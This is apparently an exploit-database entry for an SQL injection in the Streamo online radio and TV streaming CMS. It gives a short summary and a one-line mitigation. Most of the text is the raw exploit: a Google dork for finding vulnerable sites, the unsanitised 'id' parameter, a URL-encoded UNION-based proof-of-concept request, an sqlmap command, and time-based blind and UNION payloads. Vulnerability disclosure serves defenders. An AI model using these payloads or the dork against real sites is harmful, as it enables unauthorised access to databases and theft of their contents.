Streamo - Online Radio And Tv Streaming CMS

vendor:

by:

Cyber Warrior | Bug Researchers Group | N4TuraL

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Streamo - Online Radio And Tv Streaming CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10 / Mozilla Firefox, Linux / Mozilla Firefox, Linux / sqlmap 1.0.6.28#dev

2016

Streamo – Online Radio And Tv Streaming CMS

An SQL injection vulnerability exists in Streamo - Online Radio And Tv Streaming CMS, which allows an attacker to execute arbitrary SQL commands via the 'id' parameter in the 'programs.php' script. An attacker can exploit this vulnerability by sending a malicious HTTP request containing a crafted SQL statement to the vulnerable application. This can be done by appending a malicious payload to the 'id' parameter in the 'programs.php' script, such as '999999.9' union all select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e),0x31303235343830303536 and 'x'='x'. An attacker can also exploit this vulnerability using the sqlmap tool by sending a malicious HTTP request containing a crafted SQL statement to the vulnerable application.

Mitigation:

The application should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

######################
# Application Name : Streamo - Online Radio And Tv Streaming CMS

# Google Dork : inurl:rjdetails.php?id=

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Author Contact : https://twitter.com/byn4tural

# Vendor Homepage : http://rexbd.net/

# Vulnerable Type : SQL Injection

# Date : 2016-07-08

# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/menu.php
http://localhost/[path]/programs.php
http://localhost/[path]/rjdetails.php

######################

# Vulnerable code :

$gid = $_GET["id"];


######################

# PoC Exploit:

http://localhost/[path]/programs.php?id=999999.9%27%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536%20and%20%27x%27%3D%27x

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/programs.php?id=10 --dbs

Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=10' AND SLEEP(5) AND 'yTqi'='yTqi

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=-4222' UNION ALL SELECT NULL,CONCAT(0x7170787871,0x586d5a4275566c486f6f78475a59506c524f5762506944746c7358645a544e527874737478756364,0x7178627071)-- uFiY
---

######################